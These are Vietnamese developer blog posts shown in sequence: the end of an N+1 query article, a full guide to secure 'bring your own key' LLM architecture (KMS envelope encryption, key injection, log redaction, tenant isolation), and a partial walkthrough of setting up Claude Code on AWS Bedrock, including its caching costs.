✅ Hãy hỏi: "Query này sẽ tạo ra bao nhiêu SQL khi có 1000 records?"

Kết luận

N+1 Query Problem không chỉ là vấn đề performance. Nó phản ánh:

• Cách developer hiểu database
• Cách team thiết kế architecture
• Mức độ observability của hệ thống

Điều đáng sợ nhất về N+1 là: code vẫn chạy đúng — cho tới ngày production traffic tăng lên.

Và lúc đó, thêm CPU, thêm pod, thêm cache đều không cứu được — bởi vì gốc rễ vấn đề nằm ở cách dữ liệu được fetch.

Tài liệu tham khảo:

• https://graphql.org
• https://docs.sentry.io/product/issues/issue-details/performance-issues/n-one-queries

Nếu bạn đang xây một sản phẩm có tích hợp LLM — chatbot, agent, tool gọi OpenAI/Anthropic — sớm hay muộn bạn sẽ gặp câu hỏi này từ khách hàng enterprise: "Tôi có thể dùng API key của chính mình không?"

Lý do họ hỏi không phải vì tiết kiệm vài đô. Đó là:

• Compliance & data residency: một số tổ chức bị ràng buộc hợp đồng hoặc quy định pháp lý, không được để traffic AI đi qua billing account của bên thứ ba.
• Rate limit & quota riêng: họ đã có tier cao với OpenAI/Anthropic, không muốn bị giới hạn bởi quota chung của SaaS bạn đang vận hành.
• Kiểm soát chi phí: enterprise muốn nhìn thấy chi phí AI trực tiếp trên dashboard billing của họ, không qua markup của bạn.
• Tách rủi ro vendor lock-in: nếu họ đổi provider, họ không phụ thuộc vào việc bạn có hỗ trợ kịp hay không.

BYOK (Bring Your Own Key) giải quyết đúng vấn đề đó: thay vì hệ thống của bạn dùng một key trung tâm để gọi LLM cho tất cả người dùng, mỗi tenant/người dùng tự cung cấp API key của riêng họ (OpenAI, Anthropic, Azure OpenAI, v.v.), và hệ thống của bạn chỉ đóng vai trò orchestration — định tuyến, áp dụng business logic, nhưng không sở hữu thẻ tín dụng hay chịu trách nhiệm billing cho lưu lượng AI đó.

Nghe đơn giản, nhưng làm đúng thì có khá nhiều bẫy: lưu key thế nào để không lộ ra production logs, runtime injection key sao cho không tăng latency, multi-tenancy ra sao khi một user có thể có nhiều key cho nhiều provider, và rotate/revoke key thế nào khi không có quyền truy cập trực tiếp vào tài khoản của provider.

Bài viết này đi qua kiến trúc đầy đủ của một hệ thống BYOK cho LLM, với các ví dụ minh hoạ bằng NestJS/Node.js trên AWS — một stack phổ biến cho loại hệ thống này, nhưng các nguyên tắc kiến trúc áp dụng được cho bất kỳ ngôn ngữ/nền tảng nào.

1. Mô hình tổng quan: BYOK đứng ở đâu trong request lifecycle

Trước khi đi vào chi tiết, hãy hình dung một request lifecycle điển hình:

Client → API Gateway/ALB → NestJS App
                                │
                                ├─ 1. Xác định tenant/user
                                ├─ 2. Resolve API key (BYOK hoặc fallback key hệ thống)
                                ├─ 3. Decrypt key (KMS/Vault)
                                ├─ 4. Inject key vào LLM client (runtime, không cache plaintext lâu)
                                ├─ 5. Gọi LLM provider (OpenAI/Anthropic/...)
                                ├─ 6. Stream/aggregate response
                                └─ 7. Log usage (không log key) + billing reconciliation

Ba khối kiến trúc cốt lõi mà bài viết này tập trung là:

1. Key Storage Layer — lưu trữ an toàn, mã hoá, versioning.
2. Runtime Injection Layer — luồng request lúc gọi API thực tế.
3. Multi-tenancy & Key Management Layer — quản lý nhiều key, nhiều provider, theo từng tenant.

2. Bảo mật lưu trữ Key (Storage Layer)

2.1. Nguyên tắc bất biến: không bao giờ lưu plaintext

API key của OpenAI/Anthropic về bản chất tương đương với một "bearer credential" — ai có key đó coi như có quyền chi tiêu trên tài khoản người dùng. Vì vậy nguyên tắc đầu tiên không thể thoả hiệp: không bao giờ lưu key ở dạng plaintext trong database, dù là Postgres, DynamoDB hay Redis.

Có ba lựa chọn phổ biến, theo thứ tự độ phức tạp tăng dần:

Option A — Envelope Encryption với AWS KMS

Đây là lựa chọn phù hợp nhất cho hầu hết hệ thống chạy trên AWS, vì tận dụng được hạ tầng IAM sẵn có.

Cơ chế:

• Tạo một Customer Master Key (CMK) trong KMS, ví dụ alias/byok-master-key.
• Khi người dùng nhập API key, hệ thống gọi kms:GenerateDataKey để lấy một Data Encryption Key (DEK) — KMS trả về cả plaintext DEK và ciphertext DEK.
• Dùng plaintext DEK để mã hoá API key bằng AES-256-GCM, sau đó xoá plaintext DEK khỏi memory ngay lập tức.
• Lưu vào DB: encrypted_key (ciphertext của API key) + encrypted_dek (ciphertext của DEK) + iv/auth_tag.
• Khi cần dùng: gọi kms:Decrypt trên encrypted_dek để lấy lại plaintext DEK, dùng nó decrypt API key, rồi xoá khỏi memory sau khi dùng xong.

Đây gọi là envelope encryption — bạn không gọi KMS để decrypt trực tiếp API key (tốn chi phí + có giới hạn kích thước 4KB cho KMS), mà chỉ dùng KMS để bảo vệ DEK, còn DEK bảo vệ data thực tế.

Ví dụ minh hoạ trong NestJS (rút gọn, bỏ qua error handling đầy đủ):

// kms-encryption.service.ts
import { KMSClient, GenerateDataKeyCommand, DecryptCommand } from '@aws-sdk/client-kms';
import * as crypto from 'crypto';

@Injectable()
export class KmsEncryptionService {
  private kms = new KMSClient({ region: process.env.AWS_REGION });
  private readonly keyId = process.env.KMS_KEY_ID;

  async encryptApiKey(plaintextKey: string): Promise<EncryptedPayload> {
    const { Plaintext, CiphertextBlob } = await this.kms.send(
      new GenerateDataKeyCommand({ KeyId: this.keyId, KeySpec: 'AES_256' }),
    );

    const iv = crypto.randomBytes(12);
    const cipher = crypto.createCipheriv('aes-256-gcm', Plaintext, iv);
    const encrypted = Buffer.concat([
      cipher.update(plaintextKey, 'utf8'),
      cipher.final(),
    ]);

    // Xoá plaintext DEK khỏi memory ngay
    Plaintext.fill(0);

    return {
      encryptedKey: encrypted.toString('base64'),
      encryptedDek: Buffer.from(CiphertextBlob).toString('base64'),
      iv: iv.toString('base64'),
      authTag: cipher.getAuthTag().toString('base64'),
    };
  }

  async decryptApiKey(payload: EncryptedPayload): Promise<string> {
    const { Plaintext: dek } = await this.kms.send(
      new DecryptCommand({
        CiphertextBlob: Buffer.from(payload.encryptedDek, 'base64'),
      }),
    );

    const decipher = crypto.createDecipheriv(
      'aes-256-gcm',
      dek,
      Buffer.from(payload.iv, 'base64'),
    );
    decipher.setAuthTag(Buffer.from(payload.authTag, 'base64'));

    const decrypted = Buffer.concat([
      decipher.update(Buffer.from(payload.encryptedKey, 'base64')),
      decipher.final(),
    ]);

    dek.fill(0); // xoá DEK khỏi memory sau khi dùng

    return decrypted.toString('utf8');
  }
}

Lưu ý quan trọng: phải set IAM policy cho KMS key sao cho chỉ service role cụ thể (ví dụ ECS Task Role của service xử lý LLM request) mới có quyền kms:Decrypt. Nên tách biệt rõ giữa Task Execution Role (kéo image, ghi log) và Task Role (quyền nghiệp vụ): service ghi key (write path) nên có quyền GenerateDataKey, còn service đọc key lúc runtime chỉ cần Decrypt, không cần GenerateDataKey. Nguyên tắc least-privilege này thu hẹp đáng kể bề mặt rủi ro nếu một service bị compromise.

Option B — Dùng AWS Secrets Manager / Parameter Store

Phù hợp nếu số lượng key không lớn (vài trăm đến vài nghìn), vì Secrets Manager tính phí theo số secret/tháng. Cách này đơn giản hoá việc rotation vì Secrets Manager có sẵn cơ chế rotation, nhưng không scale tốt cho mô hình SaaS có hàng chục nghìn tenant tự thêm key — lúc đó envelope encryption tự quản lý trong DB sẽ rẻ và linh hoạt hơn.

Option C — HashiCorp Vault / external secret store

Cân nhắc khi hệ thống của bạn đã multi-cloud hoặc cần một secret store độc lập với AWS. Phức tạp hơn để vận hành (cần tự quản lý Vault cluster hoặc dùng HCP Vault), nhưng cho khả năng audit trail và dynamic secrets mạnh hơn.

Khuyến nghị cho hệ thống NestJS chạy trên ECS: Option A (KMS + envelope encryption) là điểm cân bằng tốt nhất giữa chi phí, độ phức tạp vận hành, và tích hợp tự nhiên với IAM trên AWS.

2.2. Schema lưu trữ

Một schema tối thiểu cho bảng lưu key, theo mô hình multi-tenant, multi-provider:

CREATE TABLE byok_credentials (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  tenant_id UUID NOT NULL REFERENCES tenants(id),
  provider VARCHAR(50) NOT NULL,        -- 'openai' | 'anthropic' | 'azure_openai'
  alias VARCHAR(100),                    -- tên gợi nhớ do user đặt
  encrypted_key TEXT NOT NULL,
  encrypted_dek TEXT NOT NULL,
  iv VARCHAR(50) NOT NULL,
  auth_tag VARCHAR(50) NOT NULL,
  key_fingerprint VARCHAR(64) NOT NULL,  -- hash để nhận diện key trùng, KHÔNG dùng để decrypt
  status VARCHAR(20) NOT NULL DEFAULT 'active', -- active | revoked | invalid
  last_validated_at TIMESTAMPTZ,
  last_used_at TIMESTAMPTZ,
  created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
  updated_at TIMESTAMPTZ NOT NULL DEFAULT now(),
  UNIQUE (tenant_id, provider, alias)
);

CREATE INDEX idx_byok_tenant_provider ON byok_credentials(tenant_id, provider, status);

Vài điểm đáng chú ý:

• key_fingerprint: một hash một chiều (ví dụ SHA-256 của key gốc + salt cố định) để hệ thống có thể phát hiện "key này đã được thêm trước đó chưa" mà không cần decrypt. Hữu ích để tránh user vô tình thêm trùng key, hoặc để phát hiện khi cùng một key bị dùng ở nhiều tenant (dấu hiệu rò rỉ).
• status: không xoá hẳn key khi user revoke — soft-delete để giữ audit trail, đồng thời tránh trường hợp orphaned reference từ các request log cũ.
• last_validated_at: timestamp lần cuối hệ thống gọi một lightweight request (ví dụ GET /v1/models) để xác nhận key còn hợp lệ — quan trọng để phát hiện key bị revoke từ phía provider trước khi user gặp lỗi giữa luồng nghiệp vụ.

3. Luồng Request Runtime: Proxy & Key Injection

Đây là phần nhiều người đánh giá thấp độ phức tạp. Vấn đề không chỉ là "decrypt key rồi gọi API" — mà là làm sao không để key tồn tại lâu hơn cần thiết trong memory, không lọt vào log, không tăng latency đáng kể, và vẫn hỗ trợ streaming.

3.1. Vị trí đặt BYOK Resolver trong NestJS

Cách tổ chức hợp lý là tách một BYOKInterceptor hoặc middleware riêng, chạy trước khi request chạm vào LLM client, chứ không nhúng logic decrypt rải rác trong từng service.

// byok.interceptor.ts
@Injectable()
export class ByokInterceptor implements NestInterceptor {
  constructor(
    private readonly credentialService: CredentialService,
    private readonly kms: KmsEncryptionService,
  ) {}

  async intercept(context: ExecutionContext, next: CallHandler) {
    const req = context.switchToHttp().getRequest();
    const tenantId = req.tenantId; // gán từ AuthGuard trước đó
    const provider = req.body.provider ?? 'openai';

    const credential = await this.credentialService.resolve(tenantId, provider);

    if (!credential) {
      // Fallback: dùng key hệ thống (nếu sản phẩm hỗ trợ cả 2 mô hình)
      req.llmApiKey = this.credentialService.getSystemFallbackKey(provider);
      req.billingMode = 'platform';
    } else {
      req.llmApiKey = await this.kms.decryptApiKey(credential.payload);
      req.billingMode = 'byok';
    }

    return next.handle().pipe(
      finalize(() => {
        // Xoá reference khỏi request object sau khi response đã gửi xong
        req.llmApiKey = null;
      }),
    );
  }
}

Điểm mấu chốt: req.llmApiKey chỉ tồn tại trong vòng đời của một request, không bao giờ được cache lại ở tầng nào khác (không Redis, không log, không gắn vào context truyền sang queue).

3.2. Tuyệt đối không log key — kể cả vô tình

Đây là lỗi thực tế hay gặp nhất: NestJS logger interceptor mặc định log toàn bộ request.body hoặc request.headers để debug, và nếu key được truyền qua header (Authorization: Bearer sk-...) hoặc nằm trong payload, nó sẽ vô tình bị ghi vào CloudWatch Logs.

Giải pháp: dùng một redaction layer tập trung, không dựa vào việc dev nhớ phải che field.

const SENSITIVE_PATTERNS = [/sk-[a-zA-Z0-9]{20,}/g, /sk-ant-[a-zA-Z0-9-]{20,}/g];

function redactSensitive(input: string): string {
  return SENSITIVE_PATTERNS.reduce(
    (acc, pattern) => acc.replace(pattern, '[REDACTED_KEY]'),
    input,
  );
}

Áp dụng pattern này ở tầng global logger (ví dụ custom Winston transformer), không chỉ ở nơi bạn nghĩ là "có khả năng" chứa key — vì exception stack trace, error response từ provider, hay thậm chí APM tracing payload (Datadog, New Relic) cũng có thể vô tình mang key đi theo.

3.3. Streaming và vấn đề giữ key "sống" trong suốt response

Với non-streaming request, key chỉ cần tồn tại trong khoảnh khắc gọi API. Nhưng với streaming (SSE từ OpenAI/Anthropic), connection có thể kéo dài vài chục giây — và nếu hệ thống dùng kiến trúc persist chunk (ví dụ Redis Streams) cho khả năng reconnect/replay, cần đặc biệt cẩn thận: chunk dữ liệu lưu trữ trung gian phải là response content, không phải API key — đừng để bất kỳ phần nào của request ban đầu (bao gồm key) bị serialize vào payload được lưu lại.

Một pattern an toàn: decrypt key ngay trước khi mở connection tới provider, giữ nó trong một biến local scope hẹp nhất có thể (không gắn vào object lớn hơn được pass qua nhiều layer), và để nó out-of-scope (GC tự dọn) ngay sau khi HTTP client tới provider đã nhận key vào header.

async function streamFromProvider(tenantId: string, provider: string, payload: any) {
  const apiKey = await resolveAndDecryptKey(tenantId, provider); // scope hẹp

  const upstream = await fetch(getProviderEndpoint(provider), {
    method: 'POST',
    headers: { Authorization: `Bearer ${apiKey}`, 'Content-Type': 'application/json' },
    body: JSON.stringify(payload),
  });
  // apiKey không được tham chiếu ở đâu khác sau dòng này

  return upstream.body; // pipe tiếp vào SSE response, hoặc publish chunk vào Redis Stream
}

3.4. Retry & error mapping — khác biệt quan trọng so với platform key

Khi dùng key hệ thống, một lỗi 429 hay 401 là vấn đề nội bộ bạn tự xử lý (rotate key dự phòng, báo team vận hành). Khi dùng BYOK, lỗi đó là vấn đề của user — họ cần biết chính xác là do key họ hết hạn, hết quota, hay do hệ thống bạn có bug. Vì vậy luồng error handling cần phân loại rõ:

Nhầm lẫn giữa các loại lỗi này là nguồn gốc phổ biến của ticket support gây hiểu lầm — user nghĩ sản phẩm bạn lỗi, trong khi thực ra là quota account OpenAI của họ đã hết.

4. Multi-Tenancy & Quản lý Nhiều Key/Provider

4.1. Mô hình dữ liệu cho multi-provider

Một tenant thực tế hiếm khi chỉ dùng một provider. Họ có thể dùng GPT-4 cho một feature, Claude cho feature khác (ví dụ vì context window dài hơn), hoặc dùng Azure OpenAI vì lý do compliance khu vực. Hệ thống cần một lớp routing theo provider + theo model tách biệt khỏi lớp lưu trữ key.

interface ModelRoute {
  tenantId: string;
  feature: string;        // 'chat' | 'summarize' | 'agent-loop'
  provider: 'openai' | 'anthropic' | 'azure_openai';
  model: string;
  credentialId: string;   // FK tới byok_credentials
  fallbackToPlatform: boolean; // nếu BYOK fail, có cho phép fallback về key hệ thống không
}

Việc tách ModelRoute khỏi Credential cho phép tenant đổi model mà không cần đổi key, và đổi key mà không ảnh hưởng routing logic — hai vòng đời thay đổi với tốc độ khác nhau.

4.2. Resolve order: chiến lược chọn key khi có nhiều lựa chọn

Khi một request tới, CredentialService.resolve() cần một thứ tự ưu tiên rõ ràng, ví dụ:

1. Key được chỉ định cụ thể cho feature/model đó (nếu tenant cấu hình riêng).
2. Key mặc định (alias = 'default') của tenant cho provider đó.
3. Nếu không có BYOK nào active, và fallbackToPlatform = true → dùng key hệ thống, đồng thời gắn billingMode = 'platform' để hệ thống billing tính phí đúng.
4. Nếu không có gì khả dụng → trả lỗi rõ ràng cho client, không silently fail.

Đây là logic nên được unit test kỹ, vì sai sót ở đây dẫn tới hậu quả nghiêm trọng: dùng nhầm key hệ thống cho traffic lẽ ra phải tính vào tài khoản BYOK của khách (rủi ro chi phí), hoặc ngược lại từ chối request hợp lệ.

4.3. Cách ly theo tenant ở tầng hạ tầng (không chỉ tầng logic)

Nếu sản phẩm của bạn phục vụ cả thị trường Việt Nam và Nhật Bản với yêu cầu compliance khác nhau, riêng việc kiểm tra tenant ID trong application logic là chưa đủ trong các audit nghiêm ngặt. Một số chiến lược bổ sung:

• Tách KMS key theo region/tenant tier: enterprise tenant lớn có thể yêu cầu CMK riêng (alias/byok-tenant-{id}) thay vì share một CMK chung — tăng chi phí KMS nhưng đáp ứng yêu cầu "key isolation" trong hợp đồng.
• VPC endpoint cho KMS: nếu ECS task gọi KMS, dùng VPC Endpoint (Interface Endpoint) thay vì đi qua NAT Gateway ra internet — vừa giảm chi phí NAT, vừa giảm bề mặt tấn công vì traffic không rời khỏi mạng nội bộ AWS.
• Audit log riêng cho hành vi truy cập credential: mọi lần decrypt nên ghi vào một audit trail riêng (ai/khi nào/tenant nào), tách biệt khỏi application log thông thường, và log này nên có retention dài hơn (phục vụ điều tra sau này) nhưng access control nghiêm ngặt hơn.

4.4. Rotation và Revocation

BYOK đặt ra một thực tế khó chịu: bạn không kiểm soát được lifecycle của key — đó là quyền của user và provider. Hệ thống cần một cơ chế chủ động phát hiện key đã hết hiệu lực thay vì chỉ phát hiện khi user report lỗi:

• Background validation job: một cron job (CloudWatch Events → Lambda, hoặc BullMQ job trong NestJS) định kỳ gọi lightweight endpoint (/v1/models hoặc tương đương) cho các key đã lâu không được validate, cập nhật last_validated_at và status.
• Webhook/notify khi key invalid: khi phát hiện key lỗi giữa luồng nghiệp vụ thực (không phải qua validation job), nên trigger thông báo ngay (email, in-app notification) — đừng để user tự phát hiện qua việc feature không hoạt động.
• Grace period trước khi xoá hẳn: khi user revoke key qua UI, giữ ở status = revoked một khoảng thời gian (ví dụ 30 ngày) trước khi xoá record hẳn, để hỗ trợ trường hợp họ cần khôi phục lịch sử sử dụng cho mục đích billing reconciliation.

5. Một vài cân nhắc vận hành thực tế

Chi phí KMS ở quy mô lớn: GenerateDataKey và Decrypt đều tính phí theo request (ngoài free tier). Ở quy mô hàng triệu request/ngày, decrypt key cho mỗi request riêng lẻ có thể tích lũy chi phí đáng kể. Giải pháp phổ biến: cache plaintext DEK (không phải API key) trong memory với TTL ngắn (vài phút), giảm số lần gọi KMS, miễn là vẫn tuân thủ chính sách bảo mật nội bộ về thời gian tồn tại của secret trong memory.

Testing mà không cần real key: dùng provider mock/sandbox (OpenAI có test mode hạn chế, hoặc tự dựng mock server giả lập response format của OpenAI/Anthropic) để CI/CD không cần thật sự gọi LLM provider — tránh leak test key vào pipeline log, và tránh chi phí phát sinh từ test chạy lặp lại.

Giám sát chi phí hộ user (dù không quản lý billing của họ): nhiều sản phẩm BYOK vẫn cung cấp dashboard ước tính usage (token count, số request) dù không trực tiếp thu tiền — giúp user tin tưởng hệ thống minh bạch, đồng thời giảm support load vì họ tự theo dõi được mà không cần hỏi bạn "tôi đã dùng bao nhiêu rồi?"

6. Tổng kết

BYOK không phải là một feature đơn lẻ ("thêm field nhập API key vào settings") mà là một thay đổi kiến trúc xuyên suốt: từ storage layer (envelope encryption với KMS), runtime layer (resolver/interceptor không để key tồn tại lâu hơn cần thiết, redaction log nghiêm ngặt), tới multi-tenancy layer (routing tách biệt khỏi credential, audit trail riêng, chiến lược rotation/revocation).

Điểm khó nhất không nằm ở mã hoá — AES-256-GCM hay KMS đều là công nghệ chuẩn, dễ tích hợp. Điểm khó nằm ở kỷ luật vận hành: đảm bảo key không bao giờ vô tình lọt vào log, error message, hay cache trung gian — những nơi mà một dòng code tưởng chừng vô hại (console.log(req.body), một APM agent ghi full payload) có thể biến thành lỗ hổng bảo mật nghiêm trọng.

Tài liệu tham khảo

Envelope encryption & Key Management (AWS KMS)

• AWS KMS — Envelope encryption (Developer Guide) — giải thích chính thức về cơ chế mã hoá DEK dưới CMK.
• AWS KMS — Generate data keys — workflow GenerateDataKey và Decrypt, kèm khuyến nghị xoá plaintext key khỏi memory sau khi dùng.
• AWS KMS — GenerateDataKey API Reference — chi tiết tham số API, giới hạn 4KB, và yêu cầu IAM permission.
• AWS KMS — Cryptography essentials — thuật toán FIPS-approved, AES-256-GCM, lý do dùng envelope encryption cho dữ liệu lớn.

Bảo mật & quản lý API key của LLM provider

• OpenAI — Best Practices for API Key Safety — hướng dẫn chính thức về lưu trữ key, IP allowlisting, rotation.
• OpenAI — Production best practices — đề xuất dùng secret manager, tách project theo môi trường, scaling.
• OpenAI — How to keep your account secure — cơ chế tự động vô hiệu hoá key bị lộ, spend threshold, shared responsibility model.
• Anthropic — API documentation — tham khảo định dạng request/auth header cho Claude API khi triển khai multi-provider.

Secrets management & nguyên tắc kiến trúc chung

• OWASP — Secrets Management Cheat Sheet — vòng đời secret (tạo/lưu/xoay/thu hồi/audit), metadata cần lưu, least-privilege, centralization.
• OWASP — Key Management Cheat Sheet — chi tiết về quản lý vòng đời khoá mã hoá.
• AWS — Encryption best practices and use cases — hướng dẫn prescriptive của AWS về mã hoá at-rest, in-transit và phân lớp khoá.

Chuyện bắt đầu từ một buổi sáng thứ Hai. Sếp nhắn trên Slack: "Setup AI coding assistant cho team đi, dùng Claude Code, nhưng phải đi qua Bedrock nhé — security team không cho dùng API key cá nhân."

Nghe thì đơn giản. Nhưng khi mình bắt tay vào, mới thấy có kha khá thứ cần hiểu — từ cách Bedrock route requests, cơ chế cache tiết kiệm 90% chi phí, đến chuyện tại sao 1 session dài lại rẻ hơn nhiều session ngắn. Bài này mình kể lại hành trình 5 ngày đó, đi sâu vào phần kỹ thuật để các bạn không phải mò lại từ đầu.

Ngày đầu tiên: Tại sao phải đi qua Bedrock?

Trước khi động vào terminal, mình cần hiểu tại sao không gọi thẳng Anthropic API cho nhanh.

Lý do nằm ở đây: khi dùng API key cá nhân, code công ty đi thẳng ra internet đến server Anthropic. Không ai kiểm soát được ai dùng bao nhiêu, không có audit log, không có budget alert. Với team 5-10 người, mỗi người tự quản lý API key riêng — đó là chaos.

Bedrock giải quyết bằng cách đưa mọi thứ vào AWS infrastructure:

Không có Bedrock:
  Developer → API Key → Anthropic Server (internet)
  ❌ Không audit | ❌ Không budget control | ❌ Mỗi người tự quản lý

Có Bedrock:
  Developer → IAM Auth → AWS Bedrock → Claude Model
  ✅ CloudTrail logs | ✅ Budget Alerts | ✅ IAM quản lý tập trung

Bedrock biến Claude Code từ "tool cá nhân" thành "tool enterprise-ready". Ba lợi ích kỹ thuật cụ thể:

Data isolation: Request không rời khỏi AWS account của tổ chức. Anthropic không dùng data gửi qua Bedrock để train model — điều này được ghi rõ trong AWS Data Processing Addendum. Với team làm việc trên code proprietary hoặc data nhạy cảm, đây là điểm khác biệt quan trọng so với Anthropic API trực tiếp.

CloudTrail audit: Mọi request được log với đầy đủ metadata: model ID, timestamp, token count (input/output/cache), latency, IAM user/role nào gọi. Có thể query Cost Explorer filter theo service Bedrock để xem từng developer dùng bao nhiêu token mỗi ngày — không cần build thêm gì.

Centralized access control: IAM policy quyết định ai được invoke model nào. Thêm/bỏ quyền 1 người chỉ cần thay đổi IAM, không cần thu hồi/rotate API key.

Ngày thứ hai: Setup — nhanh hơn mình tưởng

Mình dự tính mất cả ngày, nhưng thực tế chỉ khoảng 15 phút.

Tip: Claude Code hiện có wizard setup sẵn. Chạy claude → chọn "3rd-party platform" → "Amazon Bedrock" → wizard tự detect region, verify model access, và pin version. Hoặc gõ /setup-bedrock bất cứ lúc nào để mở lại. Nếu muốn hiểu từng bước hoặc deploy cho cả team, làm thủ công theo hướng dẫn bên dưới.

Bước đầu tiên — kích hoạt model trên Bedrock. Vào AWS Console → Bedrock → Playgrounds → Chat → chọn Claude Sonnet → gửi 1 message. Lần đầu dùng Anthropic models sẽ có popup yêu cầu điền use case form, submit xong là access ngay. Không cần chờ approve.

Bước hai — tạo IAM Policy. Claude Code cần 5 actions:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": [
      "bedrock:InvokeModel",
      "bedrock:InvokeModelWithResponseStream",
      "bedrock:ListInferenceProfiles",
      "bedrock:ListFoundationModels",
      "bedrock:GetInferenceProfile"
    ],
    "Resource": [
      "arn:aws:bedrock:*:*:inference-profile/*",
      "arn:aws:bedrock:*:*:application-inference-profile/*",
      "arn:aws:bedrock:*:*:foundation-model/*"
    ]
  }]
}

InvokeModelWithResponseStream cần thiết vì Claude Code dùng streaming — hiển thị output từng phần thay vì chờ toàn bộ. GetInferenceProfile là action mới: thiếu nó Claude Code vẫn chạy được nhưng mỗi request mới sẽ phải retry thêm 1 round-trip để resolve model shape.

Bước ba — cài Claude Code và trỏ về Bedrock:

npm install -g @anthropic-ai/claude-code

# Thêm vào ~/.zshrc
export CLAUDE_CODE_USE_BEDROCK=1
export AWS_REGION=ap-northeast-1
export ANTHROPIC_MODEL='global.anthropic.claude-sonnet-4-6'
export ANTHROPIC_DEFAULT_HAIKU_MODEL='global.anthropic.claude-haiku-4-5-20251001-v1:0'

Chạy claude, hỏi "what model are you using?" — thấy "Amazon Bedrock" là thành công.

Cái bẫy đầu tiên: global. prefix

Đây là chỗ mình mất 30 phút debug. Mình set ANTHROPIC_MODEL='anthropic.claude-sonnet-4-6' (không có prefix global.) và nhận lỗi "Model not available".

Lý do nằm ở cơ chế Inference Routing của Bedrock. Có 3 loại:

┌─────────────────────────────────────────────────────────────┐
│                  Bedrock Inference Routing                    │
│                                                               │
│  In-Region (không prefix)                                     │
│  → Request xử lý trong đúng region đó                        │
│  → Nhiều regions KHÔNG có (bao gồm Tokyo)                    │
│                                                               │
│  Geo Cross-Region (us.* / eu.* / jp.*)                       │
│  → Route trong 1 geography                                    │
│  → jp.* route trong châu Á, thường cao hơn global.* một chút │
│                                                               │
│  Global Cross-Region (global.*)                               │
│  → Route đến bất kỳ region nào có capacity                   │
│  → Throughput cao nhất, giá tốt nhất                         │
└─────────────────────────────────────────────────────────────┘

Tokyo (ap-northeast-1) không có In-Region inference cho Claude. Phải dùng global. prefix. Bỏ prefix = lỗi ngay.

VS Code Extension — cái bẫy thứ hai

Sau khi CLI chạy OK, mình cài VS Code Extension (anthropic.claude-code). Mở VS Code từ Dock... và nó không nhận Bedrock config.

Lý do: VS Code mở từ Dock/Spotlight không load ~/.zshrc, nên environment variables không có tác dụng. Phải thêm config vào ~/.claude/settings.json:

{
  "env": {
    "CLAUDE_CODE_USE_BEDROCK": "1",
    "AWS_REGION": "ap-northeast-1",
    "ANTHROPIC_MODEL": "global.anthropic.claude-sonnet-4-6",
    "ANTHROPIC_DEFAULT_HAIKU_MODEL": "global.anthropic.claude-haiku-4-5-20251001-v1:0"
  }
}

File này được cả CLI lẫn Extension đọc chung. Restart VS Code, xong.

Cái bẫy thứ ba: ANTHROPIC_API_KEY cũ còn sót

Cái này sneaky nhất vì mọi thứ vẫn chạy bình thường — chỉ là tiền đổ vào chỗ khác.

Nếu trước đây đã dùng Claude Code với Anthropic API trực tiếp, máy có thể còn ANTHROPIC_API_KEY trong shell. Claude Code ưu tiên API key nếu có, tức là request đi thẳng ra Anthropic server, không qua Bedrock, không có IAM log, và tiền tính vào key cá nhân.

# Kiểm tra
echo $ANTHROPIC_API_KEY

# Nếu có output → unset ngay
unset ANTHROPIC_API_KEY
# Và xóa luôn trong ~/.zshrc nếu có export ở đó

Một điểm cần lưu ý nếu dùng AWS SSO

Với team dùng IAM Identity Center (SSO), token chỉ sống 8-12 tiếng. Đang code ngon lành tự nhiên thấy lỗi InvalidClientTokenId là SSO hết hạn. Có 2 cách xử lý:

Thủ công — chạy lại khi thấy lỗi:

aws sso login --profile your-profile

Tự động — cấu hình awsAuthRefresh trong ~/.claude/settings.json để Claude Code tự refresh khi credentials hết hạn:

{
  "awsAuthRefresh": "aws sso login --profile your-profile",
  "env": {
    "AWS_PROFILE": "your-profile"
  }
}

Với config này, Claude Code tự gọi lệnh refresh khi phát hiện credentials expired, không cần nhớ chạy tay nữa.

Ngày thứ ba: Hiểu cách tính tiền

Đây là phần mình dành nhiều thời gian nhất, vì nó ảnh hưởng trực tiếp đến budget team.

Bedrock tính phí theo token — mỗi ~4 ký tự tiếng Anh = 1 token, tiếng Việt/Nhật thì 1-2 ký tự. Bảng giá tham khảo (per 1 triệu tokens):

Lưu ý: Đây là giá Anthropic API để tham khảo tỷ lệ. AWS Bedrock chưa công bố giá chính thức cho Claude 4 trên trang pricing. Giá thực trên Bedrock có thể khác — kiểm tra aws.amazon.com/bedrock/pricing trước khi estimate budget.

Điểm quan trọng nhất: output luôn đắt gấp 5 lần input. Prompt càng cụ thể → output càng ngắn → tiền càng ít.

Prompt Caching — thứ tiết kiệm 90% mà mình gần bỏ qua

Buổi chiều ngày thứ ba, mình check /cost và thấy "cache read" chiếm hơn nửa chi phí. Tò mò đào sâu vào cơ chế này.

Nó hoạt động thế này: mỗi request gửi đến Bedrock bao gồm một context prefix — system prompt, project files, conversation history. Lần đầu, Bedrock phải xử lý toàn bộ prefix này (gọi là Cache Write, tốn 1.25x giá input). Từ lần 2 trở đi, nếu prefix không đổi, Bedrock đọc lại từ cache (Cache Read, chỉ 0.1x giá input).

Session bắt đầu
    │
    ▼
Câu 1: Nạp context → CACHE WRITE
    │   Cost: 1.25x input price
    │   TTL: 5 phút bắt đầu đếm
    │
    ▼  (hỏi tiếp trong 5 phút)
Câu 2: Context giống → CACHE READ
    │   Cost: 0.1x input price (rẻ hơn 12.5 lần!)
    │   TTL reset về 5 phút
    │
    ▼
Câu 3, 4, 5...: Tiếp tục Cache Read
    │   Chi phí ổn định, rất rẻ
    │
    ▼  (nghỉ > 5 phút không hỏi gì)
Cache hết hạn → phải Cache Write lại từ đầu

Điều kiện cache hit (tất cả phải thỏa):

1. Cùng session — restart Claude Code = mất cache
2. Context prefix không đổi — thêm/xóa file = invalidate cache
3. Trong TTL window — mỗi lần read tự động refresh TTL

Break-even: khi nào caching có lợi?

Cache Write tốn 1.25× giá input — overhead +25%. Nhưng từ request thứ 2 trở đi, mỗi lần chỉ tốn 0.1× giá input. Tổng chi phí phần context cho session N câu hỏi (C = context size, P = input price):

Không cache:  N × C × P
Có cache:     C×P×1.25 + (N-1)×C×P×0.1  =  C×P × (1.25 + 0.1(N-1))

N=2:  1.35 vs 2.00  → tiết kiệm 32%
N=5:  1.65 vs 5.00  → tiết kiệm 67%
N=10: 2.15 vs 10.00 → tiết kiệm 78%

